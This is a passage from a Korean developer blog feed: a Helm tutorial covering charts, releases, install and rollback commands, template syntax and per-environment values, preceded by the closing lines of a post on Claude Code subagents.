&lt;h3&gt;시리즈 다음 편&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;2편: Claude Code Agent Teams — Subagent끼리 서로 통신하는 상위 개념&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Agent Teams는 Subagent의 확장판으로, 팀원들이 공유 작업 목록으로 &lt;strong&gt;자체 조율&lt;/strong&gt;하고 &lt;strong&gt;서로 메시지&lt;/strong&gt;를 주고받습니다. 다음 편에서 자세히 다루겠습니다.&lt;/p&gt;
&lt;h3&gt;관련 포스팅&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/beginner-guide-2026/&quot;&gt;Claude Code 입문 가이드 2026&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/token-saving-beginner/&quot;&gt;Claude Code 토큰 절약 — 초급&lt;/a&gt; / &lt;a href=&quot;/token-saving-intermediate/&quot;&gt;중급&lt;/a&gt; / &lt;a href=&quot;/token-saving-advanced/&quot;&gt;고급&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여러분은 어떤 커스텀 Subagent를 만들어 쓰고 계신가요? 댓글로 공유해주시면 다음 편에 활용 패턴으로 반영하겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Helm 완벽 가이드 — 쿠버네티스 YAML 지옥에서 탈출하는 패키지 매니저]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "dev 용 deployment.yaml, staging 용, prod 용… 같은 YAML을 세 번 복사해서 관리하고 있습니다." 솔직히 저도 그랬습니다. 환경별로 ·이미지 태그·리소스 한 줄만 다른데, 전체 YAML…]]></description><link>https://blog.javapark.kr/helm-package-management/</link><guid isPermaLink="false">https://blog.javapark.kr/helm-package-management/</guid><pubDate>Sat, 18 Apr 2026 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;dev 용 deployment.yaml, staging 용, prod 용… 같은 YAML을 세 번 복사해서 관리하고 있습니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 저도 그랬습니다. 환경별로 &lt;code class=&quot;language-text&quot;&gt;replicas&lt;/code&gt;·이미지 태그·리소스 한 줄만 다른데, 전체 YAML을 복사해두니 변경이 생길 때마다 세 파일을 다 고쳐야 합니다. 그러다 한 파일만 빼먹고 배포 사고가 한 번씩 터지곤 하죠.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;Helm은 이 YAML 중복·분기를 &quot;템플릿 + 값&quot;으로 분리해주는 K8S 패키지 매니저입니다.&lt;/strong&gt; npm이 JavaScript를, apt가 리눅스 패키지를 관리하듯이 Helm은 쿠버네티스 애플리케이션을 관리합니다. 오늘은 3대 개념부터 커스텀 차트 작성·환경별 values 분리·롤백까지, 실전에서 바로 쓰는 수준으로 정리하겠습니다.&lt;/p&gt;
&lt;p&gt;이전 편을 안 보셨다면 &lt;a href=&quot;/k8s-understanding/&quot;&gt;K8S에 대한 이해&lt;/a&gt; · &lt;a href=&quot;/kubectl-essential-commands/&quot;&gt;kubectl 실전 명령어&lt;/a&gt; · &lt;a href=&quot;/k9s-essential-guide/&quot;&gt;k9s 완벽 가이드&lt;/a&gt;부터 읽으시면 이번 편이 훨씬 수월합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Helm이란? — 한 줄 정의와 비유&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://helm.sh/&quot;&gt;Helm&lt;/a&gt;은 &lt;strong&gt;쿠버네티스 애플리케이션을 패키지로 묶어 설치·업그레이드·롤백을 관리&lt;/strong&gt;하는 CNCF 공식 도구입니다.&lt;/p&gt;
&lt;p&gt;비유하자면 이렇습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;도구&lt;/th&gt;
&lt;th&gt;대상&lt;/th&gt;
&lt;th&gt;단위&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;npm / pip&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;JS · Python 라이브러리&lt;/td&gt;
&lt;td&gt;패키지(package)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;apt / brew&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;리눅스 · macOS 프로그램&lt;/td&gt;
&lt;td&gt;패키지(package)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Helm&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;쿠버네티스 애플리케이션&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Chart&lt;/strong&gt;(차트)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Chart 하나에 Deployment·Service·ConfigMap 같은 K8S 리소스 묶음 + 환경 변수 + 버전 정보가 들어있습니다. &lt;code class=&quot;language-text&quot;&gt;helm install&lt;/code&gt; 한 줄로 전체 스택이 뜨고, &lt;code class=&quot;language-text&quot;&gt;helm uninstall&lt;/code&gt;로 깔끔히 정리됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3대 핵심 개념 — Chart, Release, Repository&lt;/h2&gt;
&lt;p&gt;Helm을 이해하려면 이 세 단어만 구분하면 됩니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;개념&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;th&gt;npm 비유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Chart&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;K8S 리소스 템플릿 묶음 (설치 단위)&lt;/td&gt;
&lt;td&gt;package&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Release&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Chart를 &lt;strong&gt;클러스터에 설치한 인스턴스&lt;/strong&gt; (이름 붙은 배포)&lt;/td&gt;
&lt;td&gt;설치된 앱&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Repository&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Chart 저장소 (공식·사내 모두 가능)&lt;/td&gt;
&lt;td&gt;npm registry&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;핵심:&lt;/strong&gt; Chart 하나는 여러 Release로 동시에 존재할 수 있습니다. 같은 &lt;code class=&quot;language-text&quot;&gt;nginx&lt;/code&gt; Chart를 &lt;code class=&quot;language-text&quot;&gt;nginx-dev&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;nginx-prod&lt;/code&gt;로 이름만 다르게 설치하면 됩니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;설치 — OS별 한 줄&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# macOS&lt;/span&gt;
brew &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; helm

&lt;span class=&quot;token comment&quot;&gt;# Windows (scoop)&lt;/span&gt;
scoop &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; helm

&lt;span class=&quot;token comment&quot;&gt;# Windows (winget)&lt;/span&gt;
winget &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; Helm.Helm

&lt;span class=&quot;token comment&quot;&gt;# Linux (바이너리)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;설치 확인:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;helm version&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Helm은 &lt;code class=&quot;language-text&quot;&gt;~/.kube/config&lt;/code&gt;를 그대로 씁니다. kubectl이 되면 Helm도 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 10분 — nginx 차트로 감 잡기&lt;/h2&gt;
&lt;p&gt;공식 레포를 추가하고 nginx를 설치해보겠습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 1) 레포 추가&lt;/span&gt;
helm repo &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; bitnami https://charts.bitnami.com/bitnami
helm repo update

&lt;span class=&quot;token comment&quot;&gt;# 2) 검색&lt;/span&gt;
helm search repo nginx

&lt;span class=&quot;token comment&quot;&gt;# 3) 설치 (release 이름 = my-nginx)&lt;/span&gt;
helm &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; my-nginx bitnami/nginx

&lt;span class=&quot;token comment&quot;&gt;# 4) 설치된 릴리스 목록&lt;/span&gt;
helm list

&lt;span class=&quot;token comment&quot;&gt;# 5) 현재 적용된 values 확인&lt;/span&gt;
helm get values my-nginx

&lt;span class=&quot;token comment&quot;&gt;# 6) 업그레이드 (replicas 2개로)&lt;/span&gt;
helm upgrade my-nginx bitnami/nginx &lt;span class=&quot;token parameter variable&quot;&gt;--set&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;replicaCount&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 7) 히스토리 보기&lt;/span&gt;
helm &lt;span class=&quot;token function&quot;&gt;history&lt;/span&gt; my-nginx

&lt;span class=&quot;token comment&quot;&gt;# 8) 롤백 (직전 버전으로)&lt;/span&gt;
helm rollback my-nginx &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 9) 제거&lt;/span&gt;
helm uninstall my-nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;install&lt;/code&gt; → &lt;code class=&quot;language-text&quot;&gt;upgrade&lt;/code&gt; → &lt;code class=&quot;language-text&quot;&gt;rollback&lt;/code&gt; → &lt;code class=&quot;language-text&quot;&gt;uninstall&lt;/code&gt; 이 네 개가 Helm 라이프사이클의 전부입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/0e452e91732db85d58da86fa51f7f0a9/64756/diagram-lifecycle.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACNUlEQVR42iXRWW7bMBRAUe2gcW3NtCRqoiaKg0SKGi07dpwE/Ujb/e+lDApcEPw5eCCf8eLiA1RWrPx8+JmKE5qsbErxpe4fYTlbqXSLyatmnV8voFmAvqDRy5TOOPjtS7m5zZbKm0WmE7na7aMePvj+O+0eAHVhoyKsEr5BsoblFCAV5gPUPpHGC8Cnbjo2w4+8j6hy6tWWX8dqs8kbGP5IScZlqLmQt8+m2xTbm3pGueL06sW9cQCt3a3nbvfwfESdWS/h/Bf2H26zm+VKhRiXpeQzakVW9aJ7Je0GEwFj7kKuMfarCfHXczEew/aYy3O1FvLdSZWdqajos2ZC7QISFucMxH1aLkEiQECdkBnHgJi1OiJxiNgp66xycvHNxBcTrV59QY0gpEsLlhQ0QSz5ntmHEY8ibofUMCOmsY1Hh0xOO9r16rKnz56g+/TpvWoFprKhoqFdhqjGaSrSRMSwt87UsGJuYWVrSWedjVeXvPn0CfiHR15L3NVtX+kT8zQn2iSxTsCot8A37ly2+Gxx2epqT/ZI/Ar6d8CeXnurSY/ZoHGFeZLRPFcFmpJYwvA/TvpAXkO2ee3ilNLCezl/RezhlJtdLPrBhI1ZwdKCxmHDqo2xewzl2WeWTw03lVY9WI1y8AjVLVufUN6huEf9LequMVsgGWM6B61y+eSyWQ+zY504+dzwcqVXBerl3CwR3SO2h2QL8HpuZlDPnv78cnSRXttgosFCyowHE0orUSfA/wH4Q3oMggi+ywAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/0e452e91732db85d58da86fa51f7f0a9/a1b3b/diagram-lifecycle.webp 215w,
/static/0e452e91732db85d58da86fa51f7f0a9/fc700/diagram-lifecycle.webp 430w,
/static/0e452e91732db85d58da86fa51f7f0a9/521f7/diagram-lifecycle.webp 860w,
/static/0e452e91732db85d58da86fa51f7f0a9/cbd37/diagram-lifecycle.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/0e452e91732db85d58da86fa51f7f0a9/f7886/diagram-lifecycle.png 215w,
/static/0e452e91732db85d58da86fa51f7f0a9/bc750/diagram-lifecycle.png 430w,
/static/0e452e91732db85d58da86fa51f7f0a9/3e3fe/diagram-lifecycle.png 860w,
/static/0e452e91732db85d58da86fa51f7f0a9/64756/diagram-lifecycle.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/0e452e91732db85d58da86fa51f7f0a9/3e3fe/diagram-lifecycle.png&apos; alt=&apos;Helm 릴리스 라이프사이클 4단계 — install · upgrade · rollback · uninstall과 리비전 변화&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;Helm 릴리스 라이프사이클 4단계 — install · upgrade · rollback · uninstall과 리비전 변화&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;실전 팁:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;helm uninstall&lt;/code&gt;은 Release가 만든 모든 리소스를 한 번에 정리합니다. &lt;code class=&quot;language-text&quot;&gt;kubectl delete&lt;/code&gt; 일일이 치는 것보다 훨씬 깔끔합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Chart 구조 — 안을 열어보면&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;helm create my-app&lt;/code&gt; 하면 템플릿 차트가 만들어집니다. 구조는 단순합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;my-app/
├── Chart.yaml          # 메타데이터 (이름·버전·의존성)
├── values.yaml         # 기본값 변수
├── templates/          # YAML 템플릿
│   ├── deployment.yaml
│   ├── service.yaml
│   ├── ingress.yaml
│   ├── _helpers.tpl    # 재사용 템플릿 함수
│   └── NOTES.txt       # 설치 후 안내 메시지
└── charts/             # 의존 Chart (subcharts)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;각 파일 역할:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;파일&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Chart.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;패키지 정보&lt;/strong&gt; — name, version, appVersion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;values.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;기본 변수값&lt;/strong&gt; — install 시 &lt;code class=&quot;language-text&quot;&gt;--set&lt;/code&gt;/&lt;code class=&quot;language-text&quot;&gt;-f&lt;/code&gt;로 오버라이드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;templates/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Go 템플릿 문법이 들어간 &lt;strong&gt;YAML 뼈대&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;_helpers.tpl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;include&lt;/code&gt;로 호출하는 &lt;strong&gt;공용 템플릿&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;템플릿 문법 4가지 — 이것만 알면 90%&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;templates/deployment.yaml&lt;/code&gt; 안에 들어가는 Go 템플릿입니다.&lt;/p&gt;
&lt;h3&gt;1) 변수 치환&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; .Release.Name &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;app
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;replicas&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; .Values.replicaCount &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;.Release.Name&lt;/code&gt; — 릴리스 이름 (내장)&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;.Values.replicaCount&lt;/code&gt; — values.yaml 의 값&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2) 조건 분기 (&lt;code class=&quot;language-text&quot;&gt;if&lt;/code&gt;)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; if .Values.ingress.enabled &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; networking.k8s.io/v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Ingress
&lt;span class=&quot;token comment&quot;&gt;# ...&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; end &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;enabled: false&lt;/code&gt;면 Ingress 리소스 자체가 렌더링되지 않습니다.&lt;/p&gt;
&lt;h3&gt;3) 반복 (&lt;code class=&quot;language-text&quot;&gt;range&lt;/code&gt;)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; range .Values.env &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; .name &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; .value &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; quote &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; end &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;values.yaml:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; LOG_LEVEL
    &lt;span class=&quot;token key atrule&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; info
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; NODE_ENV
    &lt;span class=&quot;token key atrule&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; production&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;4) 헬퍼 호출 (&lt;code class=&quot;language-text&quot;&gt;include&lt;/code&gt;)&lt;/h3&gt;
&lt;!-- prettier-ignore --&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; include &quot;my&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;app.labels&quot; . &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; nindent 4 &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;_helpers.tpl&lt;/code&gt;의 공용 라벨 블록을 재사용합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;실전 팁:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;{{- }}&lt;/code&gt; 앞뒤의 &lt;code class=&quot;language-text&quot;&gt;-&lt;/code&gt;는 공백 제거입니다. 안 쓰면 YAML에 빈 줄이 남아 보기 불편합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;환경별 values 분리 패턴 — dev/staging/prod&lt;/h2&gt;
&lt;p&gt;여기가 Helm의 진짜 가치가 드러나는 부분입니다. &lt;strong&gt;같은 Chart, 다른 values&lt;/strong&gt;로 환경을 분리하세요.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/f38a6f92fec24363842f2feb56cfea56/64756/diagram-anatomy.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACOUlEQVR42h2RaY6jMBSEuUHSSdhsDGY3q20wO4SQVdNq9WhGmjPM/W8wzkjfD0vvlcpVT9khug9HM5lA1sN0gNlopaOdz2bc+dmSNY+kusGwt+LBIpOVzCiZrHiE4QDCTtk7bEc3UG2ou9jdJsH1xe3uWnPLh696+03nb7mNyOhlXZAKOxIOaSQgaJSdXbrXFxy3fdaeyv5ImqNVmmSpv/9a1euUbTp9WPkKwn5a1l8/Py/3H1UzpDkDfi2dKa4WLDYtG1TSqqQxvNpMl2D9g9ovQO+Qv6TYivqUTe30LPjoJ3WQCeAxZW8zKxUwak+YH2ymhsL0G0OmyjZIlpNTHx0B0wWGXVo2wzjnJc/zgjFqYKYcHGaSBheL6omDw7WogZFsbiFiI+IK0lUjZ5AuKO69tA6LHocVcgs3KAxMFWl49Gqczppbf1iFFNvJKMVeudrxcJTOWIBkkW8cV04koMt1VECcaw5VVK+SUWE+au/ArZH1VtTB9IzYE5U3PTlrZDHiSRbhJ1VStD6pcEjdsFSlWPNqnY46mww+A7ECtrxPWlxg/Qn4C1Qvk7/eYlf4CScZizMeZTxMmGozRfeFUY4GnUw2G2w28xGFnfynUT70/CrRJEGv2hwHZUTKgDCJF9GjFBtBq+e9UQwS3G/++YmnBx7u3vjEw80RV5tfUHm28hnTGRW9GteSU1TtEVf+dysPM73H7OLwFdGzVS6omK18kiNAeiPu